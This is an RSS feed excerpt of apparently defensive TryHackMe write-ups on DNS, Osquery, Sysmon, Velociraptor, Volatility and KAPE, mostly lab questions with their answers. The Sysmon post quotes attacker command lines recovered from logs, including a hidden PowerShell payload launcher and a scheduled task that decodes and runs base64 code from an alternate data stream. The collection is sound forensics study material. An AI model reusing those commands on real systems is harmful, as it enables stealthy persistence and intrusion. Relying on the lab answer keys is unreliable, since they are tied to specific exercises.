answer -- which, as expected, contains the IP address for the domain name that we queried.</p><p>Another interesting piece of information that dig gives us is the TTL (<strong>T</strong>ime <strong>T</strong>o <strong>L</strong>ive) of the queried DNS record. As mentioned previously, when your computer queries a domain name, it stores the results in its local cache. The TTL of the record tells your computer when to stop considering the record as being valid — i.e. when it should request the data again, rather than relying on the cached copy.</p><p>The TTL can be found in the second column of the answer section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/0*0iJ8VPwxSSoP3Prp.png" /></figure><p>It’s important to remember that TTL (in the context of DNS caching) is measured in <em>seconds,</em> so the record in the example will expire in two minutes and thirty-seven seconds.</p><p>Have a go at some questions about DNS and dig.</p><p><strong>Answer the questions below</strong></p><p>What is DNS short for?</p><blockquote>domain name system</blockquote><p>What is the first type of DNS server your computer would query when you search for a domain?</p><blockquote>recursive</blockquote><p>What type of DNS server contains records specific to domain extensions (i.e. <em>.com,</em> .co.uk*, etc)*? Use the long version of the name.</p><blockquote>top-level domain</blockquote><p>Where is the very first place your computer would look to find the IP address of a domain?</p><blockquote>local cache</blockquote><p><strong>[Research]</strong> Google runs two public DNS servers. One of them can be queried with the IP 8.8.8.8, what is the IP address of the other one?</p><blockquote>8.8.4.4</blockquote><p>If a DNS query has a TTL of 24 hours, what number would the dig query show?</p><blockquote>86400</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*bWX_aNta6ILsgO6WWWp7tw.jpeg" /></figure><p>That’s us completed our whirlwind tour of networking basics. Hopefully you’ve found it informative!</p><p>Networking is one of those things that you just need to learn. We’ve covered the very basics, but it would be a very good idea to continue to learn by yourself.</p><p>In terms of further information, feel free to reach out in the TryHackMe Discord if you want any help with the contents of this room. Additionally, if you want to expand your knowledge of networking theory, the <a href="https://www.amazon.co.uk/Interconnecting-Cisco-Network-Devices-ICND1/dp/1587054620/ref=sr_1_1?keywords=Interconnecting+Cisco+Network+Devices%2C+Part+1&amp;qid=1583683766&amp;sr=8-1">CISCO Self Study Guide by Steve McQuerry</a> is a great resource to work from. There may be a more up to date version available; however, this edition is cheap, readily available, and most importantly, still very relevant. Whilst it is designed to as a study guide for the CCNA exam, that book serves equally well as a very rounded introduction to networking principles.</p><p>#networking #introductorynetworking #cyberdefense #tryhackme</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e113a7234b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OSQUERY The Basics]]></title>
            <link>https://medium.com/@cb.fcsumile/osquery-the-basics-ba9857f457fc?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba9857f457fc</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Sun, 19 Feb 2023 18:03:23 GMT</pubDate>
            <atom:updated>2023-02-19T18:03:23.906Z</atom:updated>
            <content:encoded><![CDATA[<p>Tryhackme writeup OSQUERY</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*TX1Ss0qKwBLDHKOtYoHhLQ.jpeg" /></figure><p><a href="https://tryhackme.com/room/osqueryf8">TryHackMe | Cyber Security Training</a></p><p><a href="https://osquery.io/">Osquery</a> is an <a href="https://github.com/osquery/osquery">open-source</a> agent created by <a href="https://engineering.fb.com/2014/10/29/security/introducing-osquery/">Facebook</a> in 2014. It converts the operating system into a relational database. It allows us to ask questions from the tables using SQL queries, like returning the list of running processes, a user account created on the host, and the process of communicating with certain suspicious domains. It is widely used by Security Analysts, Incident Responders, Threat Hunters, etc. Osquery can be installed on multiple platforms: Windows, Linux, macOS, and FreeBSD.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*JVp5DxnFW45EEN5ohsGxGA.jpeg" /></figure><p>How many tables are returned when we query “table process” in the interactive mode of Osquery?</p><blockquote>3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*P4j1BMbP1SxjrqEYvaurFw.jpeg" /></figure><p>Looking at the schema of the processes table, which column displays the process id for the particular process?</p><blockquote>pid</blockquote><p>Examine the .help command, how many output display modes are available for the .mode command?</p><blockquote>5</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xuxGhXNZp6kzpM0BLcdhig.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*gyBe0MCAmku7NPV1Nz2OHQ.jpeg" /></figure><p>In Osquery version 5.5.1, how many common tables are returned, when we select both Linux and Window Operating system?</p><blockquote>56</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*W070Ucso2ZvalrTnbAs_3w.jpeg" /></figure><p>In Osquery version 5.5.1, how many tables for MAC OS are available?</p><blockquote>180</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*Tohh-oHgoF2Y9oLYk54APQ.jpeg" /></figure><p>In the Windows Operating system, which table is used to display the installed programs?</p><blockquote>programs</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5bRnJzW7OJ8s_Ean44hnlw.jpeg" /></figure><p>In Windows Operating system, which column contains the registry value within the registry table?</p><blockquote>data</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9iJAnVOV3RGrv2W1GVLuw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*1ZHO9QB3ksGBFJ1bYAL96Q.jpeg" /></figure><p>Using Osquery, how many programs are installed on this host?</p><blockquote>19</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDeptg0qEsjzQlL2T1gGYw.jpeg" /></figure><p>Using Osquery, what is the description for the user James?</p><blockquote>Creative Artist</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzHpvcTV25L6dtOIKkF9PA.jpeg" /></figure><p>When we run the following search query, what is the full SID of the user with RID ‘1009’?</p><p><strong>Query:</strong> select path, key, name from registry where key = ‘HKEY_USERS’;</p><blockquote>S-1–5–21–1966530601–3185510712–10604624–1009</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3johsSNn3vjC9KKHv1w6DQ.jpeg" /></figure><p>When we run the following search query, what is the Internet Explorer browser extension installed on this machine?</p><p><strong>Query:</strong> select * from ie_extensions;</p><blockquote>C:\Windows\System32\ieframe.dll</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kAn_Hdmjkg-yBjqXaoBLog.jpeg" /></figure><p>After running the following query, what is the full name of the program returned?</p><p><strong>Query:</strong> select name,install_location from programs where name LIKE ‘%wireshark%’;</p><blockquote>Wireshark 3.6.8 64-bit</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*O3q5KinHxbKtFZnBsQxVbg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*CPlREd4M7qj4gqM2MoPI0w.jpeg" /></figure><p>Which table stores the evidence of process execution in Windows OS?</p><blockquote>userassist</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8mooQkXmXPnQEvoGofFSQ.jpeg" /></figure><p>One of the users seems to have executed a program to remove traces from the disk; what is the name of that program?</p><blockquote>diskwipe.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*rd1PHFyaVA-WJZ_HU6LFSg.jpeg" /></figure><p>Create a search query to identify the VPN installed on this host. What is name of the software?</p><blockquote>protonvpn</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V5azCodI6h7mW8GlnmCqCA.jpeg" /></figure><p>How many services are running on this host?</p><blockquote>214</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*mBjjveI7KcQlhsFulBf3pA.jpeg" /></figure><p>A table <strong>autoexec</strong> contains the list of executables that are automatically executed on the target machine. There seems to be a batch file that runs automatically. What is the name of that batch file (with the extension .bat)?</p><blockquote>batstartup.bat</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PggwFiEyax5F_wFCFOExoQ.jpeg" /></figure><p>What is the full path of the batch file found in the above question? (Last in the List)</p><blockquote>C:\Users\James\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat</blockquote><p>#osquery #tryhackme #writeup #blueteam</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba9857f457fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sysmon — Tryhackme]]></title>
            <link>https://medium.com/@cb.fcsumile/sysmon-tryhackme-7f780737b909?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f780737b909</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Sat, 18 Feb 2023 19:48:06 GMT</pubDate>
            <atom:updated>2023-02-18T19:48:06.713Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sysmon — Tryhackme</h3><p>Tryhackme writeup Sysmon</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*63qQdFdc8N-Vp_Dt5k4pUg.jpeg" /></figure><p><a href="https://tryhackme.com/room/sysmon">Sysmon</a></p><h3>Sysmon Overview</h3><p>From the Microsoft Docs, “System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network.”</p><p>Sysmon gathers detailed and high-quality logs as well as event tracing that assists in identifying anomalies in your environment. Sysmon is most commonly used in conjunction with security information and event management (SIEM) system or other log parsing solutions that aggregate, filter, and visualize events. When installed on an endpoint, Sysmon will start early in the Windows boot process. In an ideal scenario, the events would be forwarded to a SIEM for further analysis. However, in this room, we will focus on Sysmon itself and view the events on the endpoint itself with Windows Event Viewer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*epe2IohEg3Q-nf3hA_jgog.jpeg" /></figure><p>How many event ID 3 events are in C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Filtering.evtx?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*08JIBY5QjHndG2C-9HTatQ.jpeg" /></figure><p>What is the UTC time created of the first network event in C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Filtering.evtx?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_LEEUPyIHYvkZT_uf8LDIg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*01NZVervEHEQ30YnMA4RRQ.jpeg" /></figure><p>What is the full registry key of the USB device calling svchost.exe in Investigation 1?</p><blockquote>HKLM\System\CurrentControlSet\Enum\WpdBusEnumRoot\UMB\2&amp;37c186b&amp;0&amp;STORAGE#VOLUME#_??_USBSTOR#DISK&amp;VEN_SANDISK&amp;PROD_U3_CRUZER_MICRO&amp;REV_8.01#4054910EF19005B3&amp;0#\FriendlyName</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUYyExZuG2ZR5ZAgJthv9w.jpeg" /></figure><p>What is the device name when being called by RawAccessRead in Investigation 1?</p><blockquote>\Device\HarddiskVolume3</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mRqudkZ5fMcXJ6rOWbX79g.jpeg" /></figure><p>What is the first exe the process executes in Investigation 1?</p><blockquote>rundll32.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pg6OrC3WVEQoqa4J2EQJqA.jpeg" /></figure><p>What is the full path of the payload in Investigation 2?</p><blockquote>C:\Users\IEUser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\S97WTYG7\update.hta</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6g352MrgWu2XJckYwiuB0Q.jpeg" /></figure><p>What is the full path of the file the payload masked itself as in Investigation 2?</p><blockquote>C:\Users\IEUser\Downloads\update.html</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BCfnND5mfBLiIyj2kJUh4A.jpeg" /></figure><p>What signed binary executed the payload in Investigation 2?</p><blockquote>C:\Windows\System32\mshta.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1ZpnZU0Fwo6Q5XzIX_cFnw.jpeg" /></figure><p>What is the IP of the adversary in Investigation 2?</p><blockquote>10.0.2.18</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKZCMgOyWVjIJGsJhvrqyg.jpeg" /></figure><p>What back connect port is used in Investigation 2?</p><blockquote>4443</blockquote><p>What is the IP of the suspected adversary in Investigation 3.1?</p><blockquote>172.30.1.253</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*txZwdNRmCXExCkvgiiFRSw.jpeg" /></figure><p>What is the hostname of the affected endpoint in Investigation 3.1?</p><blockquote>SourceIP: DESKTOP-O153T4R</blockquote><p>What is the hostname of the C2 server connecting to the endpoint in Investigation 3.1?</p><blockquote>empirec2</blockquote><p>Where in the registry was the payload stored in Investigation 3.1?</p><blockquote>HKLM\SOFTWARE\Microsoft\Network\debug</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Akjd3qcKenNQ4hWGG8rFfw.jpeg" /></figure><p>What PowerShell launch code was used to launch the payload in Investigation 3.1?</p><blockquote>“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -c “$x=$((gp HKLM:Software\Microsoft\Network debug).debug);start -Win Hidden -A \”-enc $x\” powershell”;exi</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpnQBV7PQj31K5nl6ElpOQ.jpeg" /></figure><p>What is the IP of the adversary in Investigation 3.2?</p><blockquote>172.168.103.188</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lnXFCS5pDG3eM7lkekhzQ.jpeg" /></figure><p>What is the full path of the payload location in Investigation 3.2?</p><blockquote>c:\users\q\AppData:blah.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ztb8xoxsnxPaTIEsmy6Xw.jpeg" /></figure><p>What was the full command used to create the scheduled task in Investigation 3.2?</p><blockquote>“C:\WINDOWS\system32\schtasks.exe” /Create /F /SC DAILY /ST 09:00 /TN Updater /TR “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NonI -W hidden -c \”IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String($(cmd /c ”more &lt; c:\users\q\AppData:blah.txt”’))))\””</blockquote><p>What process was accessed by schtasks.exe that would be considered suspicious behavior in Investigation 3.2?</p><blockquote>lsass.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hlY_bcVEsO0u8t-2aVrvHQ.jpeg" /></figure><p>What is the IP of the adversary in Investigation 4?</p><p>172.30.1.253</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-dqc7qaV5MQG8h6BWrJC6g.jpeg" /></figure><p>What port is the adversary operating on in Investigation 4?</p><blockquote>80</blockquote><p>What C2 is the adversary utilizing in Investigation 4?</p><blockquote>empire</blockquote><p>#tryhackme #sysmon #microsoftsecurity #blueteam</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f780737b909" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Velociraptor]]></title>
            <link>https://medium.com/@cb.fcsumile/velociraptor-f60d34b1bff3?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/f60d34b1bff3</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Wed, 15 Feb 2023 19:09:16 GMT</pubDate>
            <atom:updated>2023-02-15T19:09:16.021Z</atom:updated>
            <content:encoded><![CDATA[<p>Tryhackme writeup Velociraptor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*S91k2zTJq70C7AoJePTzXQ.jpeg" /></figure><p>Per the official Velociraptor <a href="https://docs.velociraptor.app/docs/overview/">documentation</a>, “<em>Velociraptor is a unique, advanced open-source endpoint monitoring, digital forensic and cyber response platform. It was developed by Digital Forensic and Incident Response (DFIR) professionals who needed a powerful and efficient way to hunt for specific artifacts and monitor activities across fleets of endpoints. Velociraptor provides you with the ability to more effectively respond to a wide range of digital forensic and cyber incident response investigations and data breaches</em>”.</p><p>This tool was created by Mike Cohen, a former Google employee who worked on tools such as <a href="https://github.com/google/grr">GRR</a> (GRR Rapid Response) and <a href="https://github.com/google/rekall">Rekall</a> (Rekall Memory Forensic Framework). Mike joined Rapid7’s Detection and Response Team and continues to work on improving Velociraptor. At the date of this entry, the latest release for Velociraptor is <a href="https://www.rapid7.com/blog/post/2022/02/03/velociraptor-version-0-6-3-dig-deeper-with-more-speed-and-scalability/">0.6.3</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E1ylLDQpStGdmPTiOKq2cA.jpeg" /></figure><p>What is the hostname for the client?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h-4V72hjBiCU-n2T85396w.jpeg" /></figure><p>What is listed as the agent version?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*85LgI7giUh1IruKdO_WWVw.jpeg" /></figure><p>In the Collected tab, what was the VQL command to query the client user accounts?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XRSe89Nidzl5zUI8soTEhA.jpeg" /></figure><p>In the Collected tab, check the results for the PowerShell whoami command you executed previously. What is the column header that shows the output of the command?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jgw53Z3NGFnly-_r53kROQ.jpeg" /></figure><p>In the Shell, run the following PowerShell command Get-Date. What was the PowerShell command executed with VQL to retrieve the result?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ICC5gkKuqRPagN0cSUeJA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*hCCukmV8TTGzvogH5nREfw.jpeg" /></figure><p>Earlier you created a new artifact collection for Windows.KapeFiles.Targets. You configured the parameters to include Ubuntu artifacts. Review the parameter description for this setting. What is this parameter specifically looking for?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*56NRAF-ItkyFAydQORbSSg.jpeg" /></figure><p>Review the output. How many files were uploaded?</p><blockquote>20</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*jPI7siTpDsPG8suVtYTkSA.jpeg" /></figure><p>Which accessor can access hidden NTFS files and Alternate Data Streams? (<strong>format: xyz accessor)</strong></p><blockquote>NTFS ACCESSOR</blockquote><p>Which accessor provides file-like access to the registry? (<strong>format: xyz accessor</strong>)</p><blockquote>registry accessor</blockquote><p>What is the name of the file in $Recycle.Bin?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfuvxOR5UrZdgc5uDhe3Eg.jpeg" /></figure><p>There is hidden text in a file located in the Admin’s Documents folder. What is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sCL7RJfS6R16Qq3ct5Jsxg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cb-mcPctO05VK1yS4OmYEw.jpeg" /></figure><p>What is followed after the <strong>SELECT </strong>keyword in a standard VQL query?</p><blockquote>Column Selectors</blockquote><p>What goes after the <strong>FROM</strong> keyword?</p><blockquote>VQL Plugin</blockquote><p>What is followed by the <strong>WHERE</strong> keyword?</p><blockquote>filter expression</blockquote><p>What can you type in the Notepad interface to view a list of possible completions for a keyword?</p><blockquote>?</blockquote><p>What plugin would you use to run PowerShell code from Velociraptor?</p><blockquote>execve()</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*75jT99i11XUeGiaK2Ul0FA.jpeg" /></figure><p>What are the arguments for <strong>parse_mft()</strong>?</p><blockquote>parse_mft(filename=”C:/$MFT”, accessor=”ntfs”)</blockquote><p>What filter expression will ensure that no directories are returned in the results?</p><blockquote>IsDir</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*xzgwS0XYvSORZWSE4D92Dg.jpeg" /></figure><p>What is the name in the Artifact Exchange to detect Printnightmare?</p><blockquote>Windows.Detection.PrintNightmare</blockquote><p>Per the above instructions, what is your Select clause? (no spaces after commas)</p><blockquote>SELECT “C:/” + FullPath AS Full_Path,FileName AS File_Name,parse_pe(file=”C:/” + FullPath) AS PE</blockquote><p>What is the name of the DLL that was placed by the attacker?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9wX93pJfnMYzR32w_NPYg.jpeg" /></figure><p>What is the PDB entry?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vAznltV3hcrEW-_hekrW6A.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f60d34b1bff3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Volatility — Practical Investigations]]></title>
            <link>https://medium.com/@cb.fcsumile/volatility-practical-investigations-3485882ee8fe?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/3485882ee8fe</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Tue, 14 Feb 2023 18:42:30 GMT</pubDate>
            <atom:updated>2023-02-14T18:42:30.855Z</atom:updated>
            <content:encoded><![CDATA[<h3>Volatility — Practical Investigations</h3><p>Tryhackme Volatility writeup for task 10</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Gg_HJepmkQTjxJd4WJugQ.jpeg" /></figure><p>Volatility is a free memory forensics tool developed and maintained by Volatility Foundation, commonly used by malware and SOC analysts within a blue team or as part of their detection and monitoring solutions. Volatility is written in Python and is made up of python plugins and modules designed as a plug-and-play way of analyzing memory dumps.</p><p>Volatility is available for Windows, Linux, and Mac OS and is written purely in Python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*RwTFS3S6tvcGlcikcZExNg.jpeg" /></figure><p>What is the build version of the host machine in Case 001?</p><blockquote>2600.xpsp.080413–2111</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*9w8ZFurqoY1W_2rjFXYLGg.jpeg" /></figure><p>At what time was the memory file acquired in Case 001?</p><blockquote>2012–07–22 02:45:08</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dPmd9Fe8-Jc5hO0m3TRfJg.jpeg" /></figure><p>What process can be considered suspicious in Case 001?</p><blockquote>reader_sl.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVMWlqciPJc2zC29KQSGqg.jpeg" /></figure><p>What is the parent process of the suspicious process in Case 001?</p><blockquote>explorer.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OXZ3GqSzhYtAa2xmCRpRDw.jpeg" /></figure><p>What is the PID of the suspicious process in Case 001?</p><blockquote>1640</blockquote><p>What is the parent process PID in Case 001?</p><blockquote>1484</blockquote><p>What user-agent was employed by the adversary in Case 001?</p><blockquote>Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5h22i8KLSUXq99ZpzkErA.jpeg" /></figure><p>Was Chase Bank one of the suspicious bank domains found in Case 001? (Y/N)</p><blockquote>Y</blockquote><p>What suspicious process is running at PID 740 in Case 002?</p><blockquote><a href="http://twitter.com/WanaDecryptor">@WanaDecryptor</a>@</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WAgap4Nq-FtmELhvJfg54A.jpeg" /></figure><p>What is the full path of the suspicious binary in PID 740 in Case 002?</p><blockquote>C:\Intel\ivecuqmanpnirkt615\<a href="http://twitter.com/WanaDecryptor">@WanaDecryptor</a>@.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UIGH6PTF8SauvQRMky3IFg.jpeg" /></figure><p>What is the parent process of PID 740 in Case 002?</p><blockquote>tasksche.exe</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hm0ikShViuGgtUdIUuCGKA.jpeg" /></figure><p>What is the suspicious parent process PID connected to the decryptor in Case 002?</p><blockquote>1940</blockquote><p>From our current information, what malware is present on the system in Case 002?</p><blockquote>wannacry</blockquote><p><a href="https://www.bleepingcomputer.com/news/security/wannacry-wana-decryptor-wanacrypt0r-info-and-technical-nose-dive/">https://www.bleepingcomputer.com/news/security/wannacry-wana-decryptor-wanacrypt0r-info-and-technical-nose-dive/</a></p><p>What DLL is loaded by the decryptor used for socket creation in Case 002?</p><blockquote>WS2_32.dll</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8McmqfjsiDQFxOC4Bf6qXA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*A4CkF9DprVAKAPyQ0pOMVw.jpeg" /></figure><p>What mutex can be found that is a known indicator of the malware in question in Case 002?</p><blockquote>MsWinZonesCacheCounterMutexA</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0a5RSI9XeEHzR7tX8qnV0Q.jpeg" /></figure><p>What plugin could be used to identify all files loaded from the malware working directory in Case 002?</p><blockquote>windows.filescan</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zP1R3D9wGh1hcxo6wY3v5A.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3485882ee8fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kape — Task 7]]></title>
            <link>https://medium.com/@cb.fcsumile/kape-task-7-96d49c422e85?source=rss-73e71f476583------2</link>
            <guid isPermaLink="false">https://medium.com/p/96d49c422e85</guid>
            <dc:creator><![CDATA[x00]]></dc:creator>
            <pubDate>Mon, 13 Feb 2023 18:48:15 GMT</pubDate>
            <atom:updated>2023-02-13T18:48:15.724Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kape — Task 7</h3><p>Tryhackme Kape Hands-on Challenge Task 7</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/228/1*tlFVDcwK9Yf06C8IoAr0Bg.jpeg" /></figure><h3>Introduction to KAPE:</h3><p>Kroll Artifact Parser and Extractor (KAPE) parses and extracts Windows forensics artifacts. It is a tool that can significantly reduce the time needed to respond to an incident by providing forensic artifacts from a live system or a storage device much earlier than the imaging process completes.</p><p>KAPE serves two primary purposes, 1) collect files and 2) process the collected files as per the provided options. For achieving these purposes, KAPE uses the concept of targets and modules. Targets can be defined as the forensic artifacts that need to be collected. Modules are programs that process the collected artifacts and extract information from them. We will learn about them in the upcoming tasks.</p><h3>How it works</h3><p>KAPE is extensible and highly configurable. In essence, the KAPE binary collects files and processes them as per the provided configuration.</p><p>The collection of files (targets) KAPE adds the files to a queue and copies them in two passes. In the first pass, it copies the files that it can. This works for files that the OS has not locked. The rest of the files are passed to a secondary queue. The secondary queue is processed using a different technique that uses raw disk reads to bypass the OS locks and copy the files. The copied files are saved with original timestamps and metadata and stored in a similar directory structure.</p><p>Once the data is collected, KAPE can process it using modules. The modules can be independent binaries that run on the collected data and process them to extract information. For example, KAPE will collect and copy the Prefetch file to our target destination during the target collection. Running a Prefetch Parser (PECmd) module on this target will extract the prefetch file and save it in a CSV file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y_OMuz1bDXWOFqTzrC9Iyw.jpeg" /></figure><p>Two USB Mass Storage devices were attached to this Virtual Machine. One had a Serial Number 0123456789ABCDE. What is the Serial Number of the other USB Device?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPg1vD3TFdM0pgpeToScBg.jpeg" /></figure><p>7zip, Google Chrome and Mozilla Firefox were installed from a Network drive location on the Virtual Machine. What was the drive letter and path of the directory from where these software were installed?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*4xEIsWCoUXdC4ixfiX9LVQ.jpeg" /></figure><p>What is the execution date and time of CHROMESETUP.EXE in MM/DD/YYYY HH:MM?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lPVytX0JRDniUqsy37Da8A.jpeg" /></figure><p>What search query was run on the system?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQx2h4O-P3p6vQ_tt8i7YQ.jpeg" /></figure><p>When was the network named Network 3 First connected to?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*UsxdygmSMX3d1WPUk-Mksw.jpeg" /></figure><p>KAPE was copied from a removable drive. Can you find out what was the drive letter of the drive where KAPE was copied from?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/142/1*8JH3RIsj_niin9XH4Qihog.jpeg" /></figure><p>#KAPE #DFIR #tryhackme #digitalforensics</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96d49c422e85" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>